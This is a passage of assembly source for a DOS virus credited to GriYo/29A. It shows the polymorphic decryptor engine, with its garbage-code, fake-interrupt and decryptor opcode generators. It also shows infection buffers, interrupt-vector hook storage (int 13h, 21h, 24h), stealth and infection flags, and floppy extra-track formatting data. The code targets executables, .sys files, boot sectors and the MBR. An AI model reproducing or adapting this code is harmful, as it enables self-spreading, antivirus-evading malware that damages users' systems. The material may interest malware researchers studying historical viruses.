                ;Generate some garbage instructions
                call g_generator

                ;Decode a jmp to loop instruction
                mov al,0E9h
                stosb
                mov ax,word ptr cs:[address_loop][bp]
                sub ax,di
                dec ax
                dec ax
                stosw

                ;Generate some garbage instructions
                call g_generator

                ;Store jz displacement
                mov ax,di
                pop di
                push ax
                sub ax,di
                dec ax
                stosb
                pop di
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a push reg + garbage + pop reg                                   ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

do_push_g_pop:

                ;Build a random push pop
                call do_push_pop

                ;Get pop instruction
                dec di
                mov al,byte ptr es:[di]
                push ax
                call g_generator
                pop ax
                stosb
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a subroutine witch contains garbage code                         ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

do_subroutine:

                cmp word ptr cs:[last_subroutine][bp],0000h
                je create_routine
                ret

create_routine:

                ;Generate a jump instruction
                mov al,0E9h
                stosb

                ;Save address for jump construction
                push di

                ;Save address of subroutine
                mov word ptr cs:[last_subroutine][bp],di

                ;Get subroutine address
                inc di
                inc di

                ;Generate some garbage code
                call g_generator

                ;Insert ret instruction
                mov al,0C3h
                stosb

                ;Store jump displacement
                mov ax,di
                pop di
                push ax
                sub ax,di
                dec ax
                dec ax
                stosw
                pop di
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a subroutine witch contains one decryptor instruction            ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

sub_decryptor:

                cmp word ptr cs:[decrypt_sub][bp],0000h
                je ok_subroutine
                ret
ok_subroutine:

                ;Do not generate the loop branch into a subroutine
                mov bl,byte ptr cs:[decrypt_pointer][bp]
                inc bl
                cmp bl,04h
                jne no_loop_sub
                ret
no_loop_sub:
                ;Generate a jump instruction
                mov al,0E9h
                stosb

                ;Save address for jump construction
                push di

                ;Save address of subroutine
                mov word ptr cs:[decrypt_sub][bp],di
                inc di
                inc di        
                push bx
                call g_generator
                pop bx
                call entry_from_sub
                call g_generator
build_return:
                ;Insert ret instruction
                mov al,0C3h
                stosb

                ;Store jump displacement
                mov ax,di
                pop di
                push ax
                sub ax,di
                dec ax
                dec ax
                stosw
                pop di
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a call instruction to next decryptor subroutine                  ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

do_call_decryptor:

                cmp byte ptr cs:[decrypt_pointer][bp],02h
                jne no_store_call

                ;Save position        
                mov word ptr cs:[address_loop][bp],di
no_store_call:
                ;Build a call to our subroutine
                mov al,0E8h
                stosb
                mov ax,word ptr cs:[decrypt_sub][bp]
                sub ax,di
                stosw

                ;Do not use this subrotine again
                mov word ptr cs:[decrypt_sub][bp],0000h
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a call instruction to a subroutine witch some garbage code       ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

do_call_garbage:
                
                ;Check if there is a subroutine to call
                mov cx,word ptr cs:[last_subroutine][bp]
                or cx,cx
                jnz ok_call

                ;No, so exit
                ret
ok_call:
                ;Build a call to our garbage subroutine
                mov al,0E8h
                stosb
                mov ax,cx
                sub ax,di
                stosw

                ;Do not use this subrotine again
                mov word ptr cs:[last_subroutine][bp],0000h
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a conditional jump followed by some garbage code                 ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

do_branch:
                ;Generate a random conditional jump instruction
                call get_rnd
                and al,07h
                or al,70h
                stosb

                ;Save address for jump construction
                push di

                ;Get subroutine address
                inc di

                ;Generate some garbage code
                call g_generator

                ;Store jump displacement
                mov ax,di
                pop di
                push ax
                sub ax,di
                dec ax
                stosb
                pop di
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate garbage code                                                     ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

g_generator:                        
                ;Get a random number for fill count                
                call get_rnd   
                and ax,03h

                ;Min 2, max 5 opcodes
                inc ax
                inc ax         
next_fill:      
                push ax
new_fill:       
                ;Check for .sys file
                cmp word ptr cs:[exit_address][bp],offset exit_sys - \
                                                   offset host_ret
                jne no_building_sys

last_byte_equal:

                ;Select the type of filler ( 01h byte instructions for .sys files )
                mov ax,end_byte_table-one_byte_table
                call rand_in_range

                ;Avoid same types in a row
                cmp ax,word ptr cs:[last_fill_type][bp]
                je last_byte_equal
                mov word ptr cs:[last_fill_type][bp],ax

                ;Get one byte instruction
                add ax,bp
                mov bx,ax
                mov al,byte ptr cs:[one_byte_table+bx]

                ;Store instruction
                stosb
                jmp op_return

no_building_sys:

                ;Select the type of filler
                mov ax,(end_op_table-op_table)/2

                ;Do not generate int calls into boot sector or mbr decryptor
                cmp word ptr cs:[exit_address][bp],offset exit_mbr - \
                                                   offset host_ret
                je eliminate_ints

                ;Do not generate int calls into decryption loop
                cmp byte ptr cs:[decrypt_pointer][bp],01h
                jb no_in_loop

eliminate_ints:
                dec ax
                dec ax
no_in_loop:
                call rand_in_range

                ;Avoid same types in a row
                cmp ax,word ptr cs:[last_fill_type][bp]
                je new_fill      
                mov word ptr cs:[last_fill_type][bp],ax

                ;Get subroutine address
                add ax,ax
                add ax,bp
                mov bx,ax
                mov ax,word ptr cs:[op_table+bx]
                add ax,bp

                ;Store return address
                lea bx,word ptr [op_return][bp]
                push bx

                ;Call subroutine
                push ax
                ret
op_return:
                pop ax
                dec ax
                jnz next_fill
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate mov reg,imm ( either 8 or 16 bit but never ax or sp,di,si or bp )³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

move_imm:
                call get_rnd

                ;Get a reggie
                and al,0Fh  

                ;Make it a mov reg,
                or al,0B0h   
                test al,08h
                jz is_8bit_mov

                ;Make it ax,bx cx or dx
                and al,0FBh
                mov ah,al
                and ah,03h

                ;Not ax or al
                jz move_imm           
                stosb
                call rand_16
                stosw
                ret
is_8bit_mov:
                mov bh,al   

                ;Is al?
                and bh,07h

                ;Yeah bomb
                jz move_imm 
                stosb
                call get_rnd
                stosb
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate mov reg,reg ( never to al or ax )                                ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

move_with_reg:

                call rand_16

                ;Preserve reggies and 8/16 bit
                and ax,3F01h

                ;Or it with addr mode and make it mov
                or ax,0C08Ah
reg_test:
                test al,1
                jz is_8bit_move_with_reg

                ;Make source and dest = ax,bx,cx,dx
                and ah,0DBh

is_8bit_move_with_reg:

                mov bl,ah
                and bl,38h

                ;No mov ax, 's please    
                jz move_with_reg

                ;Let's see if 2 reggies are same reggies    
                mov bh,ah              
                sal bh,1
                sal bh,1
                sal bh,1
                and bh,38h

                ;Check if reg,reg are same
                cmp bh,bl              
                jz move_with_reg
                stosw
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Modify a mov reg,reg into an xchg reg,reg                                 ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

reg_exchange:
                ;Make a mov reg,reg
                call move_with_reg  

                ;But then remove it
                dec di

                ;And take advantage of the fact the opcode is still in ax
                dec di

                ;Was a 16 bit type?
                test al,1b

                ;Yeah go for an 8 bitter
                jnz reg_exchange  
                mov bh,ah

                ;Is one of reggies ax?
                and bh,07h

                ;Yah so bomb
                jz reg_exchange

                ;Else make it xchg ah,dl etc...
                mov al,86h
                stosw
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate push reg + pop reg                                               ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

do_push_pop:        
                mov ax,(end_bytes_2-bytes_2)/2
                call rand_in_range
                add ax,ax
                add ax,bp
                mov bx,ax

                ;Generate push and pop instruction
                mov ax,word ptr cs:[bytes_2+bx]

                ;Do not use bx on .sys files
                cmp word ptr cs:[exit_address][bp],offset exit_sys - \
                                                   offset host_ret
                jne not_exclude_bx

                ;Check if push bx
                cmp al,53h        
                je do_push_pop

                ;Check if pop bx
                cmp ah,5Bh
                je do_push_pop
not_exclude_bx:
                stosw
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a mov reg,mem or mov mem,reg                                     ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

mov_with_mem:        
                ;Get memory prefix
                call get_seg_reg
                stosb

                ;Get reg ( from or to mem and 8 or 16 bits )
                call rand_16
                and ax,3803h

                ;Or it with addr mode imm 16 and make it mov
                or ax,0688h  
                test al,01h
                jnz do_16_bit

                ;Check if reg is al
                cmp ah,06h
                jz make_to_mem
                jmp all_clear_for_mem
do_16_bit:
                ;Get a valid 16bit reg
                and ah,1Eh

                ;Check if reg is ax
                cmp ah,06h
                jnz all_clear_for_mem
make_to_mem:
                ;Make to mem
                and al,0FDh

all_clear_for_mem:

                stosw

                ;Get size of buffer for mem operations
                mov ax,inf_byte_size
                call rand_in_range
                add ax,word ptr cs:[mem_base][bp]
                stosw
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get a math instruction from / to mem                                      ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

make_math_with_mem:

                ;Generate a mov reg,mem or mov mem.reg
                call mov_with_mem

                ;Perform transformation
                push di
                sub di,04h
                mov al,byte ptr es:[di]

                ;Preserve address mode info
                and al,03h     
                push ax
                call get_rnd

                ;Get a math opcode
                and al,38h
                pop bx

                ;Set address mode bits
                or al,bl
                stosb

                ;Restore pointer
                pop di
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a random int 21h call                                            ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

do_int_21h:
                call get_rnd

                ;Choose within ah,function or ax,function+subfunction
                and al,01h
                jz do_int_ax
do_int_ah:
                mov ax,end_ah_table-ah_table
                call rand_in_range
                add ax,bp
                mov bx,ax
                mov ah,byte ptr cs:[ah_table+bx]

                ;Do not generate same int's in a row
                cmp ah,byte ptr cs:[last_int_type][bp]
                jz do_int_ah

                ;Generate mov ah,function        
                mov byte ptr cs:[last_int_type][bp],ah
                mov al,0B4h
                stosw

                ;Generate int 21h        
                mov ax,021CDh
                stosw
                ret
do_int_ax:
                mov ax,(end_ax_table-ax_table)/2
                call rand_in_range
                add ax,ax
                add ax,bp
                mov bx,ax
                mov ax,word ptr cs:[ax_table+bx]

                ;Do not generate same int's in a row
                cmp ah,byte ptr cs:[last_int_type][bp]
                jz do_int_ax
                mov byte ptr cs:[last_int_type][bp],ah

                ;Generate mov ax,function
                mov byte ptr es:[di],0B8h
                inc di
                stosw

                ;Generate int 21h
                mov ax,021CDh
                stosw
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a do-nothing int call                                            ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

do_fake_int:
                mov ax,offset fake_int_end-offset fake_int_table
                call rand_in_range
                mov bx,ax
                add bx,bp        
                mov ah,byte ptr ds:[fake_int_table+bx]
                mov al,0CDh
                stosw
                ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Polymorphic generator data buffer                                         ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ah_table:
                ;Int 21h garbage functions ( function number in ah )
                db 00Bh         ;Read entry state
                db 019h         ;Get current drive
                db 02Ah         ;Get current date
                db 02Ch         ;Get current time
                db 030h         ;Get dos version number
                db 04Dh         ;Get error code
                db 051h         ;Get active psp
                db 062h         ;Get active psp
end_ah_table:

ax_table:
                ;Int 21h garbage functions ( function number in ax )
                dw 3300h        ;Get break-flag
                dw 3700h        ;Get line-command separator
                dw 5800h        ;Get mem concept
                dw 5802h        ;Get umb insert
end_ax_table:

bytes_2:
                ;Push and pop pairs
                push ax
                pop dx
                push ax
                pop bx
                push ax
                pop cx
                push bx
                pop dx
                push bx
                pop cx
                push cx
                pop bx
                push cx
                pop dx
end_bytes_2:

step_table:
                ;Steps table
                dw offset do_subroutine
                dw offset do_call_garbage
                dw offset g_generator
                dw offset do_branch
                dw offset sub_decryptor
                dw offset next_decryptor
                dw offset do_push_g_pop
end_step_table:

instruction_table:

                ;Polymorphic decryptor table
                dw offset inst_load_counter
                dw offset inst_load_pointer
                dw offset inst_decrypt_one
                dw offset inst_inc_pointer
                dw offset inst_dec_loop

end_inst_table:

op_table:
                ;Address of op-code generator routines
                dw offset move_with_reg
                dw offset move_imm     
                dw offset mov_with_mem
                dw offset make_math_with_mem
                dw offset reg_exchange
                dw offset do_push_pop
                dw offset do_int_21h
                dw offset do_fake_int
end_op_table:

one_byte_table:
                ;One byte instructions for .sys decryptor
                aaa
                aas
                cbw
                clc
                cld
                cmc
                cwd
                daa
                das
                dec ax
                dec cx
                dec dx
                dec bp
                inc ax
                inc cx
                inc dx
                inc bp
                int 03h
                nop
                stc
                std

end_byte_table:

fake_int_table:
                ;Do-nothing ints
                db 01h
                db 1Ch
                db 08h
                db 0Ah
                db 0Bh
                db 0Ch
                db 0Dh
                db 0Eh
                db 0Fh
                db 28h
                db 2Bh
                db 2Ch
                db 2Dh
                db 70h
                db 71h
                db 72h
                db 73h
                db 74h
                db 76h
                db 77h
fake_int_end:

decrypt_table:
                ;Opcode table for add/sub/xor byte ptr seg:[di+displ],reg
                db 2Ah,00h                      ;Add / sub
                db 02h,28h                      ;Sub / add
                db 32h,30h                      ;Xor / xor

end_decrypt_table:

fast_table:
                ;Opcode table for add/sub/xor byte ptr seg:[di+displ],key
                db 45h,2Ah                      ;Add / sub
                db 6Dh,02h                      ;Sub / add
                db 75h,32h                      ;Xor / xor
end_fast_table:

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus buffers ( inserted into infections )                                ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ


                        ;Text for payload subroutine
txt_credits_1           db "<<< SuckSexee Automated Intruder >>>",00h
txt_credits_2           db "Viral Implant Bio-Coded by GriYo/29A",00h

                        ;Ddpt that enables the extra track
floppy5_25              db 0DFh,02h,25h,02h,0Fh,1Bh,0FFh,54h,0F6h,0Fh,08h
floppy3_5               db 0DFh,02h,25h,02h,12h,1Bh,0FFh,6Ch,0F6h,0Fh,08h

                        ;Format table for a extra track in floppy
format_table            db 50h,00h,01h,02h      ;Track 50h sector 01h
                        db 50h,00h,02h,02h      ;Track 50h sector 02h
                        db 50h,00h,03h,02h      ;Track 50h sector 03h
                        db 50h,00h,04h,02h      ;Track 50h sector 04h
                        db 50h,00h,05h,02h      ;Track 50h sector 05h
                        db 50h,00h,06h,02h      ;Track 50h sector 06h
                        db 50h,00h,07h,02h      ;Track 50h sector 07h
                        db 50h,00h,08h,02h      ;Track 50h sector 08h
                        db 50h,00h,09h,02h      ;Track 50h sector 09h
                        db 50h,00h,0Ah,02h      ;Track 50h sector 0Ah
                        db 50h,00h,0Bh,02h      ;Track 50h sector 0Bh
                        db 50h,00h,0Ch,02h      ;Track 50h sector 0Ch
                        db 50h,00h,0Dh,02h      ;Track 50h sector 0Dh
                        db 50h,00h,0Eh,02h      ;Track 50h sector 0Eh
                        db 50h,00h,0Fh,02h      ;Track 50h sector 0Fh

                        ;Command line parameters for win.com
win_param_string        db " /d:f",0Dh

                        ;Command line parameters for tbscan.exe
tbscan_param_string     db " co nm",0Dh

                        ;Old file header
old_header              db file_header_size dup (00h)

                        ;Decryptor key
clave_crypt             db 00h

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus data buffer (not inserted into infections)                          ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

virus_data_buffer:      
                        ;Old interrupt vectors

old03h                  equ this dword
old03h_off              dw 0000h
old03h_seg              dw 0000h

old12h                  equ this dword
old12h_off              dw 0000h
old12h_seg              dw 0000h

old13h                  equ this dword
old13h_off              dw 0000h
old13h_seg              dw 0000h

old1Ch                  equ this dword
old1Ch_off              dw 0000h
old1Ch_seg              dw 0000h

old1Eh                  equ this dword
old1Eh_off              dw 0000h
old1Eh_seg              dw 0000h

old21h                  equ this dword
old21h_off              dw 0000h
old21h_seg              dw 0000h

org21h                  equ this dword
org21h_off              dw 0000h
org21h_seg              dw 0000h

old24h                  equ this dword
old24h_off              dw 0000h
old24h_seg              dw 0000h

old40h                  equ this dword
old40h_off              dw 0000h
old40h_seg              dw 0000h

                        ;Misc data

read_ptr                equ this dword
read_off                dw 0000h
read_seg                dw 0000h

poly_working_ptr        equ this dword
poly_working_off        dw 0000h
poly_working_seg        dw 0000h

dos_function            dw 0000h
file_offset             dw 0000h
ret_off                 dw 0000h
virus_timer             dw 0000h
hd_write_words          dw 0000h
hd_write_cl             db 00h
hd_write_al             db 00h
dos_flag                db 00h
running_sw              db 00h
stealth_sw              db 00h
file_infection_flag     db 00h

                        ;Polymorphic decryptor data
poly_data:
last_fill_type          dw 0000h        ;+00h
last_step_type          dw 0000h        ;+02h
last_subroutine         dw 0000h        ;+04h
decrypt_sub             dw 0000h        ;+06h
address_loop            dw 0000h        ;+08h
last_int_type           db 00h          ;+0Ah
decrypt_pointer         db 00h          ;+0Bh
address_register        db 00h          ;+0Ch
decrypt_register        db 00h          ;+0Dh
address_seg_1           db 00h          ;+0Eh
address_seg_2           db 00h          ;+0Fh
rnd_pointer             dw 0000h        ;+10h
mem_base                dw 0000h        ;+12h
displ_si_di             db 00h          ;+14h
decrypt_seq             db 00h          ;+15h

                        ;Buffer for filename of executed program
execute_filename        db 80h dup (00h)

                        ;Buffer for file stealth and infection routines
file_buffer             db file_header_size dup (00h)
virus_copy              db 00h
virus_end_buffer:

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Done :P                                                                   ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

launcher        ends
                end virus_entry
